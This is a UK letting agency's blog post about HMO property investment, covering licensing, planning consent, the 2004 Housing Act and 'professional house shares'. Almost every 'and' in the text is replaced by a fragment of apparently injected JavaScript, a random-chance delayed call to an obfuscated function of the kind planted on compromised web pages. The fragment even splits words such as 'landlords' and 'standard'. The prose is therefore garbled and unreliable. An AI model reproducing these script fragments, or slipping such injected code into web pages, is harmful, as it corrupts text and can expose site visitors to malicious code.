HMO Love Affair….

The HMO (House in Multiple Occupation) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the property investor are having a love affair at the moment.

The opportunity to buy one property andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and create up to 6 units out of it andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and therefore more than trebling your potential rent (if done correctly) is too much for many landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords to resist, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it’s almost like every other investor either has one or wants one.

Just for clarification, a HMO property is where 3 or more non related people share a property, in most parts of the country you can house up to 6 people in a HMO before you need planning (unless you are in an elective Article 4 area) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and once you get to 7 or more people you will have to have planning consent. If the property is 5 or more occupants andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and over 3 stories in height then you will need to have a License (andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and some areas, this will apply to other properties too as selective licensing creeps across the UK)

The HMO is not a new thing, it has been around for many years andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and so why the sudden interest now?…

As the housing supply reduces, demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and increases, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and people move around more for work, house shares are going to become a major part in housing the nation, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and HMO’s have undergone massive change due to this.

In 2004, the Housing Act brought about massive changes to the requirements andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and specification required for a HMO property, with strict guidelines for landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords as to how they should be constructed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and managed, many of the regulations are based around fire safety andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and being suitable for the number of residents it is designed for.

The effects of this meant that the HMO had a facelift andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and gone are the days of poorly run, sub standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard properties andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the image of them improved. The more responsible landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlord has started to invest in them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and this has led to the “PROFESSIONAL HOUSE SHARE” where a property in a nice location with easy access for the workplace andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and amenities, comfortable communal areas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a high standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard of fittings will appeal to the professional market. This is the new concept slowly working its way across the UK andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one where we’re experiencing a growing amount of interest in here at Osprey Lettings, more so from our Kettering office.

We would not want to deal with any non-compliant, run down, overcrowded type properties or any that were owned by landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlords that do not take their responsibilities seriously but with our own experience, learning about the regulations that apply to HMO properties, working with the council on Planning laws locally andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what they expect in their local HMO properties also understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding fire regulations, this can be a very viable option to many investors.

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For advice on HMO’s from what property/ies would make ideal investments, regulations, what facilities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fittings are required andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how we market andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and manage thereafter please contact us, we’d be delighted to speak with you.